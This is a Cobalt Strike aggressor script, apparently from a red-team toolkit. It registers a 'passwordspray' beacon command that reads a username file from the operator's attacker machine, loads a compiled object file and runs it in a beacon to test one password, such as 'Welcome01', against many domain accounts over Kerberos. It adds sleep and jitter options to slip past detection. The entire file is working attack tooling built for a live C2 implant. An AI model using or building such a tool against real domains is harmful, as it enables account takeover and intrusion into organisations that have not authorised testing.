passwordspray.cna 1.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546
  1. # author REDMED-X
  2. beacon_command_register(
  3. "passwordspray", "Validate single password against multiple accounts using kerberos authentication.",
  4. "INFO:\nValidate single password against multiple accounts using kerberos authentication.\n\n" .
  5. "ARGUMENTS:\n[path to username file]: the path on your own attacker system to a file containing the list with usernames. Each username must be newline separated.\n[password]: the password to validate.\n[domain]: FQDN of the domain.\n[sleeptimer]: (optional) sleep timer in seconds to wait between each authentication attempt (default is 0).\n[jitter]: (optional) jitter in percentage (default 0).\n\n" .
  6. "USAGE:\npasswordspray <path to username file> <password> <domain> [opt <sleeptimer>] [opt <jitter>]\n\n" .
  7. "EXAMPLES:\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local 10 40\npasswordspray C:\\Users\\redmed\\Documents\\usernames.txt Welcome01 example.local\n\n");
  8. alias passwordspray {
  9. $bid = $1;
  10. $path = $2;
  11. $password = $3;
  12. $domain = $4;
  13. $timer = $5;
  14. $jitter = $6;
  15. if ($path eq "") {
  16. berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated usernames.\n");
  17. return;
  18. }
  19. if ($password eq "" || $domain eq "") {
  20. berror($bid, "Please specify both password and domain name (FQDN).");
  21. return;
  22. }
  23. # read in the .txt file
  24. $handle = openf("$path");
  25. $file = readb($handle, -1);
  26. closef($handle);
  27. blog($bid, "path: $+ $path");
  28. # Read in the right BOF file
  29. $handle = openf(script_resource("passwordspray.o"));
  30. $data = readb($handle, -1);
  31. closef($handle);
  32. # Pack our arguments
  33. $arg_data = bof_pack($bid, "bZZii", $file, $password, $domain, $timer, $jitter);
  34. blog($bid, "Tasked to start password spraying..");
  35. beacon_inline_execute($bid, $data, "go", $arg_data);
  36. }